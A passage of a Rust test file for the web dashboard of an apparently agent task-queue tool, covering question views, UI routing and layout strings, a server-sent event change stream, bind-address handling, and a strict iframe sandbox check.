19434 .collect::<String>(),
19435 body
19436 );
19437 assert!(field.original[0].text.starts_with("<img"));
19438 let original_question: Question =
19439 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19440 assert_eq!(original_question, q);
19441 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19442 .original
19443 .start = 1;
19444 assert!(
19445 QuestionView::of(q.clone(), &store, None)
19446 .posting_view
19447 .is_none()
19448 );
19449 q.posting_comparison = original_question.posting_comparison;
19450 q.detail.push_str("extra context");
19451 assert!(
19452 QuestionView::of(q.clone(), &store, None)
19453 .posting_view
19454 .is_some()
19455 );
19456 q.detail.insert(0, 'x');
19457 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19458 }
19459
19460 #[test]
19461 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19462 let store = ask::Questions::at(PathBuf::from("unused"));
19463 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19464 let gt = crate::github_text::Withheld::from_check(
19465 &crate::github_text::check("fix: x", body),
19466 "fix: x",
19467 body,
19468 )
19469 .unwrap();
19470 let (detail, comparison) =
19471 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19472 let mut q = Question::new(
19473 "r".into(),
19474 "github-text".into(),
19475 "posting-gate".into(),
19476 "s".into(),
19477 detail,
19478 Vec::new(),
19479 );
19480 q.posting_comparison = Some(comparison);
19481 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19482 let field = &value["posting_view"]["fields"][0];
19483 let group = &field["replacement_group"];
19484 let triggers = group["triggers"].as_array().unwrap();
19485 assert_eq!(triggers.len(), 2);
19486 assert_ne!(triggers[0], triggers[1]);
19487 for id in triggers {
19488 assert!(
19489 field["original"]
19490 .as_array()
19491 .unwrap()
19492 .iter()
19493 .any(|f| &f["pair"] == id)
19494 );
19495 assert!(
19496 !field["changed"]
19497 .as_array()
19498 .unwrap()
19499 .iter()
19500 .any(|f| &f["pair"] == id)
19501 );
19502 }
19503 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19504 group["id"].as_u64().unwrap() as usize;
19505 assert!(
19506 QuestionView::of(q, &store, None).posting_view.is_none(),
19507 "group and trigger IDs cannot collide"
19508 );
19509 }
19510
19511 #[test]
19512 fn a_question_view_carries_markdown_for_each_thread_turn() {
19513 let home = TempDir::new().unwrap();
19514 let store = ask::Questions::at(home.path().join("questions"));
19515 let mut q = Question::new(
19516 "run".to_owned(),
19517 "implement".to_owned(),
19518 "impl-A".to_owned(),
19519 "which?".to_owned(),
19520 String::new(),
19521 Vec::new(),
19522 );
19523 q.say("plain words").unwrap();
19524 q.reply("use **this**", Vec::new()).unwrap();
19525 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19526 let bodies = &v["thread_bodies_md"];
19527 assert_eq!(bodies.as_array().unwrap().len(), 2);
19528 assert!(!bodies[0].to_string().contains("strong"));
19529 assert!(bodies[1].to_string().contains("strong"));
19530 }
19531
19532 #[test]
19533 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19534 let home = TempDir::new().unwrap();
19535 let store = ask::Questions::at(home.path().join("questions"));
19536 let mut q = Question::new(
19537 "run".to_owned(),
19538 "conduct".to_owned(),
19539 "conduct".to_owned(),
19540 "which?".to_owned(),
19541 String::new(),
19542 Vec::new(),
19543 );
19544 q.say("plain words").unwrap();
19545 q.thread.push(ask::Turn {
19546 who: ask::Who::Agent,
19547 body: "Settled as `merge`".to_owned(),
19548 at: jiff::Timestamp::now(),
19549 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19550 });
19551 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19552 let notes = &v["thread_notes_md"];
19553 assert_eq!(notes.as_array().unwrap().len(), 2);
19554 assert!(notes[0].is_null());
19555 let text = notes[1].to_string();
19556 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19557 assert!(APP_JS.contains("ask-turn-note"));
19558 }
19559
19560 #[test]
19561 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19562 assert!(APP_JS.contains("function landView(run, raw) {"));
19566 assert!(
19567 APP_JS.contains(
19568 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19569 )
19570 );
19571 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19572 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19573 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19574 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19575 }
19576
19577 #[test]
19578 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19579 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19580 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19581 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19582 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19583 }
19584
19585 #[test]
19586 fn review_rounds_label_a_distinct_verified_head() {
19587 assert!(APP_JS.contains("round.verified_head"));
19588 assert!(APP_JS.contains("verified HEAD"));
19589 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19590 }
19591
19592 #[test]
19593 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19594 assert!(APP_JS.contains("blocked: { glyph:"));
19598 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19599
19600 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19604 assert!(
19605 APP_JS.contains(
19606 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19607 ),
19608 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19609 );
19610 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19614
19615 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19619 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19620 assert!(
19621 APP_JS.contains("location.hash = \"#/questions\";"),
19622 "a question node must jump to the Questions screen, not pretend to be a task"
19623 );
19624
19625 assert!(APP_JS.contains("Resolved questions"));
19628 assert!(APP_JS.contains("r.answersList.append("));
19629 assert!(APP_CSS.contains(".task-answers"));
19630 {
19631 let start = APP_JS
19632 .find("function updateTalkTaskRow")
19633 .expect("updateTalkTaskRow");
19634 let body = &APP_JS[start..];
19635 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19636 assert!(
19637 body.contains(
19638 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19639 ),
19640 "a chat-filed task row must link to the task page"
19641 );
19642 assert!(
19643 !body.contains("#/runs/") && !body.contains("#/queue/"),
19644 "the row must not branch to a run or the queue card"
19645 );
19646 assert!(APP_CSS.contains(".talk-task-link"));
19647 }
19648 }
19649
19650 #[test]
19651 fn a_task_notification_links_to_the_task_page() {
19652 let start = APP_JS
19654 .find("function noticeLink(")
19655 .expect("noticeLink exists");
19656 let body = &APP_JS[start..];
19657 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19658 assert!(
19659 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19660 "a task notice's link must target the task page"
19661 );
19662 assert!(
19663 !body.contains("#/queue/"),
19664 "regression: the task link must not go back to the Backlog route"
19665 );
19666 assert!(
19667 APP_JS.contains(
19668 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19669 ),
19670 "`#/tasks/<id>` must parse into the task route"
19671 );
19672
19673 assert!(
19675 APP_JS.contains(
19676 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19677 ),
19678 "`#/queue/<id>` must parse into a route carrying that id"
19679 );
19680
19681 assert!(APP_JS.contains("state.queueFocus = route.id;"));
19685 assert!(APP_JS.contains("function consumeQueueFocus()"));
19686 assert!(APP_JS.contains("jumpToTask(id)"));
19687 }
19688
19689 #[test]
19690 fn notifications_distinguish_actionable_questions_from_informational_notices() {
19691 let start = APP_JS
19692 .find("function noticeCoveredBy(")
19693 .expect("noticeCoveredBy exists");
19694 let body = &APP_JS[start..];
19695 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19696
19697 assert!(body.contains("Associated question ${short}"));
19699 assert!(!body.contains("el(\"a\""));
19700
19701 assert!(body.contains("(resolved)"));
19703 assert!(body.contains("(closed)"));
19704
19705 let start = APP_JS
19706 .find("function renderNotifications()")
19707 .expect("renderNotifications exists");
19708 let body = &APP_JS[start..];
19709 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19710
19711 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19713 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19714 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
19715 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19716 }
19717
19718 #[test]
19721 fn chat_rows_put_the_title_alone_on_the_first_line() {
19722 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
19723 assert!(APP_CSS.contains(
19724 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19725 ));
19726 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19727 assert!(APP_JS.contains("class: \"badge talk-unread\""));
19728 }
19729
19730 #[test]
19731 fn run_rows_put_the_title_alone_on_the_first_line() {
19732 assert!(
19733 APP_CSS.contains(
19734 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
19735 )
19736 );
19737 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19738 assert!(APP_JS.contains("class: \"card run-card\""));
19739 assert!(APP_JS.contains("class: \"repo run-id\""));
19740 }
19741
19742 #[test]
19746 fn wide_screens_show_list_and_preview_side_by_side() {
19747 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19749 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19750 assert!(APP_CSS.contains("main[data-split]"));
19751 assert!(APP_CSS.contains("body[data-split]"));
19752
19753 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
19755 assert!(
19756 APP_JS.contains(
19757 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19758 )
19759 );
19760 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19761 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19762 assert!(INDEX_HTML.contains("id=\"split-empty\""));
19763
19764 assert!(APP_JS.contains("function markSelected() {"));
19766 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19767 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19768 assert!(
19770 APP_CSS.contains(
19771 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19772 )
19773 );
19774
19775 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19777 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19778 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19779 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19780
19781 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19785 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19786 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19787 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19788
19789 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19791 }
19792
19793 #[test]
19794 fn panel_sandbox_carries_exactly_popups() {
19795 let needle = "sandbox: \"";
19796 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19797 assert_eq!(
19798 matches.len(),
19799 1,
19800 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19801 );
19802 let start = matches[0].0 + needle.len();
19803 let end = APP_JS[start..]
19804 .find('"')
19805 .expect("sandbox attribute value must be terminated by a closing quote");
19806 let val = &APP_JS[start..start + end];
19807 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19808 let expected: std::collections::BTreeSet<&str> =
19809 ["allow-popups", "allow-popups-to-escape-sandbox"]
19810 .into_iter()
19811 .collect();
19812 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19813 assert!(
19814 !tokens.contains("allow-scripts"),
19815 "allow-scripts must never be present in sandbox"
19816 );
19817 assert!(
19818 !tokens.contains("allow-same-origin"),
19819 "allow-same-origin must never be present in sandbox"
19820 );
19821 }
19822
19823 #[test]
19824 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19825 assert!(
19834 APP_JS.contains(
19835 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
19836 ),
19837 "the search-clearing branch must run before state.queueFocus is cleared, or the \
19838 recursive renderQueue() call has nothing left to jump to"
19839 );
19840 assert!(
19841 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19842 "state.queueFocus must be cleared only once the jump has landed, so a card that \
19843 arrives later still gets it"
19844 );
19845 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19846 assert!(APP_JS.contains("is not in the current Backlog."));
19847 assert!(APP_JS.contains("li.card[data-task-id=\""));
19848 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19849 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19850 assert!(APP_CSS.contains(".card-permalink"));
19851 assert!(APP_CSS.contains(".queue-focus-status"));
19852 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19853 }
19854
19855 #[test]
19856 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19857 assert!(
19865 APP_JS.contains(
19866 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19867 ),
19868 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19869 );
19870 }
19871
19872 #[test]
19873 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19874 assert!(
19875 APP_JS.contains("round.verified_head !== round.head"),
19876 "a round that verified an earlier commit must be visibly distinct from one that \
19877 verified the head reviewers are looking at now"
19878 );
19879 assert!(
19880 APP_JS.contains("round.verified_at"),
19881 "when a check ran must be on the wire, not just which commit"
19882 );
19883 assert!(
19884 APP_JS.contains("resource_blocked"),
19885 "a command magi never got to run (shared build cache contention) must not render \
19886 the same as a command that ran and failed"
19887 );
19888 }
19889
19890 #[test]
19891 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19892 assert!(
19900 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19901 "every KPI tile built through statusTile() must route its click through \
19902 openRunsFiltered, the single place that sets the Runs filter"
19903 );
19904 for (label, status) in [
19905 ("Merged", "merged"),
19906 ("Ready", "ready"),
19907 ("Blocked", "blocked"),
19908 ("Stalled", "stalled"),
19909 ] {
19910 let call = format!("statusTile(\"{label}\", t.{status}, ");
19911 assert!(
19912 APP_JS.contains(&call),
19913 "expected the {label} KPI tile built via {call}..."
19914 );
19915 assert!(
19916 APP_JS.contains(&format!("status === \"{status}\"")),
19917 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19918 compare a run against, not one invented only for the stats tile"
19919 );
19920 }
19921 assert!(
19922 APP_JS.contains("function openRunsFiltered(status)"),
19923 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19924 );
19925 assert!(
19926 APP_JS.contains(
19927 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19928 ),
19929 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19930 );
19931 assert!(
19939 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
19940 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19941 hashchange event that may never fire"
19942 );
19943 }
19944
19945 #[test]
19946 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19947 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19953 assert!(
19954 APP_JS.contains(
19955 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
19956 ),
19957 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19958 guard for an incompatible tree section"
19959 );
19960 }
19961
19962 #[test]
19963 fn every_stats_queue_tile_names_a_real_queue_section() {
19964 assert!(
19970 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19971 "every queue tile built through sectionTile() must route its click through \
19972 openQueueSectionFocus"
19973 );
19974 for key in ["upnext", "running", "done", "held", "blocked"] {
19975 assert!(
19976 APP_JS.contains(&format!("{{ key: \"{key}\",")),
19977 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19978 );
19979 }
19980 for line in [
19984 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19985 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19986 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19987 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19988 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19989 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19990 ] {
19991 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19992 }
19993 }
19994
19995 #[test]
19996 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19997 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20004 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20005 assert!(APP_JS.contains("function revealQueueSection(details)"));
20006 assert!(
20007 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20008 "renderQueue() must consume both focus channels on every pass"
20009 );
20010 assert!(
20011 APP_JS.contains(
20012 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20013 ),
20014 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20015 the recursive renderQueue() call has nothing left to reveal"
20016 );
20017 assert!(
20018 APP_JS.contains(
20019 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20020 ),
20021 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20022 );
20023 assert!(
20031 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20032 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20033 hashchange event that may never fire"
20034 );
20035 }
20036
20037 #[tokio::test]
20038 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20039 let f = Fixture::start().await;
20040
20041 let mut socket = tokio::net::TcpStream::connect(f.addr)
20042 .await
20043 .expect("connect");
20044 socket
20045 .write_all(
20046 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20047 )
20048 .await
20049 .expect("write request");
20050
20051 let mut seen = String::new();
20054 let mut buf = [0u8; 1024];
20055 while !seen.contains("event: change") {
20056 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20057 .await
20058 .expect("the stream must speak within five seconds")
20059 .expect("read");
20060 assert!(read > 0, "the server closed the change stream: {seen}");
20061 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20062 }
20063
20064 assert!(
20065 seen.to_lowercase()
20066 .contains("content-type: text/event-stream"),
20067 "the browser only reconnects automatically for a real SSE stream: {seen}"
20068 );
20069 let data = seen
20070 .lines()
20071 .find_map(|l| l.strip_prefix("data:"))
20072 .expect("a data line");
20073 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20074 assert!(
20075 payload["queue_rev"].is_u64()
20076 && payload["runs_rev"].is_u64()
20077 && payload["questions_rev"].is_u64()
20078 && payload["talks_rev"].is_u64()
20079 && payload["notifications_rev"].is_u64()
20080 && payload["loop_rev"].is_u64(),
20081 "the client needs one revision per store to know what to refetch, \
20082 and `talks_rev` is the only notification a standing talk gets - a \
20083 phone whose radio slept through a turn learns about it here, as \
20084 does one whose operator started the loop from another device: \
20085 {payload}"
20086 );
20087
20088 let health = f.get("/api/health").await.json();
20095 for key in [
20096 "queue_rev",
20097 "runs_rev",
20098 "questions_rev",
20099 "talks_rev",
20100 "notifications_rev",
20101 "loop_rev",
20102 ] {
20103 assert!(
20104 health[key].is_u64(),
20105 "health is the change stream's fallback and is missing `{key}`: {health}"
20106 );
20107 }
20108 }
20109
20110 #[tokio::test]
20111 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20112 let f = Fixture::start().await;
20113 let before = f.get("/api/health").await.json()["talks_rev"]
20114 .as_u64()
20115 .expect("talks_rev");
20116
20117 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20118 std::thread::sleep(Duration::from_millis(10));
20119 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20120 on_disk.turns.push(crate::talk::Turn {
20121 sender: None,
20122 breaks: Some(Vec::new()),
20123 messages: Vec::new(),
20124 posted_by: None,
20125 who: crate::talk::Who::Operator,
20126 body: "a new turn".to_owned(),
20127 at: Timestamp::now(),
20128 attachments: Vec::new(),
20129 usage: None,
20130 });
20131 f.talks().put(&mut on_disk).expect("record a turn");
20132
20133 let after = tokio::time::timeout(Duration::from_secs(5), async {
20134 loop {
20135 let revision = f.get("/api/health").await.json()["talks_rev"]
20136 .as_u64()
20137 .unwrap();
20138 if revision != before {
20139 break revision;
20140 }
20141 tokio::time::sleep(Duration::from_millis(50)).await;
20142 }
20143 })
20144 .await
20145 .expect("shared monitor observes external turn");
20146 assert_ne!(
20147 before, after,
20148 "a phone must be able to notice a talk's reply without polling every store"
20149 );
20150 }
20151
20152 #[test]
20153 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20154 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20158 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20159 }
20160 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20161 assert!("everywhere".parse::<Bind>().is_err());
20162 }
20163
20164 #[test]
20165 fn an_explicit_bind_address_is_taken_verbatim() {
20166 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20167
20168 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20169
20170 assert_eq!(addr, asked);
20171 assert!(
20172 warning.is_none(),
20173 "an operator who named an address gets no lecture"
20174 );
20175 }
20176
20177 #[test]
20178 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20179 let (addr, warning) = resolve_bind(&Bind::Auto);
20180
20181 match addr {
20188 IpAddr::V4(ip) if is_tailnet(&ip) => {
20189 assert!(warning.is_none(), "a tailnet address needs no warning");
20190 }
20191 other => {
20192 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20193 let warning = warning.expect("a fallback has to explain itself");
20194 assert!(
20195 warning.contains("127.0.0.1") && warning.contains("local-only"),
20196 "the warning says what happened and what it costs: {warning}"
20197 );
20198 }
20199 }
20200 }
20201
20202 #[test]
20203 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20204 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20208 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20209 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20210 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20211 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20212 }
20213
20214 #[test]
20215 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20216 let ids = vec![
20217 "20260902-140501-aaaa".to_owned(),
20218 "20260902-140502-aabb".to_owned(),
20219 ];
20220
20221 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20222 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20223 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20224
20225 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20226 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20227 assert_eq!(short, "20260902-140502-aabb");
20228 }
20229 #[tokio::test]
20230 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20231 let fx = Fixture::start().await;
20237 let id = panel(
20238 &fx,
20239 "<img src=\"shot.png\">",
20240 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20241 );
20242
20243 let doc = fx
20245 .get(&format!("/api/questions/{id}/panel/index.html"))
20246 .await;
20247 assert_eq!(doc.status, 200, "{}", doc.body);
20248 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20249
20250 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20251 assert_eq!(sibling.status, 200, "{}", sibling.body);
20252 assert_eq!(sibling.header("content-type"), Some("image/png"));
20253 assert_eq!(
20254 sibling.header("content-security-policy"),
20255 Some(PANEL_CSP),
20256 "the sibling route must carry the same policy as the asset route"
20257 );
20258
20259 assert_eq!(
20262 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20263 200
20264 );
20265 }
20266
20267 #[test]
20268 fn delta_stamps_cover_add_update_remove_and_noop() {
20269 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20270 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20271 let delta = diff_stamps(&before, &after, 42);
20272 assert_eq!(delta.base, 42);
20273 assert_eq!(delta.changed, ["b", "c"]);
20274 assert_eq!(delta.removed, ["a"]);
20275 let same = diff_stamps(&after, &after, 43);
20276 assert!(same.changed.is_empty() && same.removed.is_empty());
20277 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20278 let nanos: Stamps = [("b".into(), (2, 20))].into();
20279 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20280 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20281 assert_eq!(stamps_revision(&Stamps::new()), 0);
20282 }
20283
20284 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20285 std::fs::create_dir_all(home.join("runs")).unwrap();
20286 Arc::new(Ui::new(
20287 Queue::at(home.join("queue")),
20288 Questions::at(home.join("questions")),
20289 Talks::at(home.join("talks")),
20290 home.join("runs"),
20291 home.to_owned(),
20292 PathBuf::from("/repo/magi"),
20293 ))
20294 }
20295
20296 #[test]
20297 fn monitor_scan_isolates_store_failures_and_recovers() {
20298 let home = TempDir::new().unwrap();
20299 let ui = delta_test_ui(home.path());
20300 std::fs::create_dir_all(ui.questions.root()).unwrap();
20301 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20302 let before = monitor_scan(&ui, None);
20303 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20304 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20305 std::fs::create_dir_all(ui.talks.root()).unwrap();
20306 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20307 let during = monitor_scan(&ui, Some(before.clone()));
20308 assert_eq!(during.0.2, before.0.2);
20309 assert_ne!(during.0.3, before.0.3);
20310 assert!(during.1[2].contains_key("new"));
20311 std::fs::remove_file(ui.questions.root()).unwrap();
20312 let after = monitor_scan(&ui, Some(during));
20313 assert_eq!(after.0.2, 0);
20314 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20315 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20317 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20318 }
20319
20320 #[tokio::test]
20321 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20322 let home = TempDir::new().unwrap();
20323 let ui = delta_test_ui(home.path());
20324 let mut task = Task::new(
20325 "stream task".into(),
20326 "text".into(),
20327 PathBuf::from("/repo"),
20328 Source::Human,
20329 );
20330 ui.queue.put(&mut task).unwrap();
20331 let response = events(State(ui.clone())).await.into_response();
20332 let mut stream = response.into_body().into_data_stream();
20333 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20334 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20335 .await
20336 .unwrap()
20337 .unwrap()
20338 .unwrap();
20339 let text = String::from_utf8(chunk.to_vec()).unwrap();
20340 let data = text
20341 .lines()
20342 .find_map(|line| {
20343 line.strip_prefix("data: ")
20344 .or_else(|| line.strip_prefix("data:"))
20345 })
20346 .unwrap();
20347 serde_json::from_str(data).unwrap()
20348 }
20349 let initial = change(&mut stream).await;
20350 assert!(initial.get("queue_delta").is_none());
20351 task.instruction.push_str(" changed");
20352 ui.queue.put(&mut task).unwrap();
20353 let updated = change(&mut stream).await;
20354 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20355 assert_eq!(
20356 updated["queue_delta"]["changed"],
20357 serde_json::json!([task.id])
20358 );
20359 assert_eq!(
20360 updated["queue_rev"].as_u64(),
20361 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20362 );
20363 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20364 let removed = change(&mut stream).await;
20365 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20366 assert_eq!(
20367 removed["queue_delta"]["removed"],
20368 serde_json::json!([task.id])
20369 );
20370 }
20371
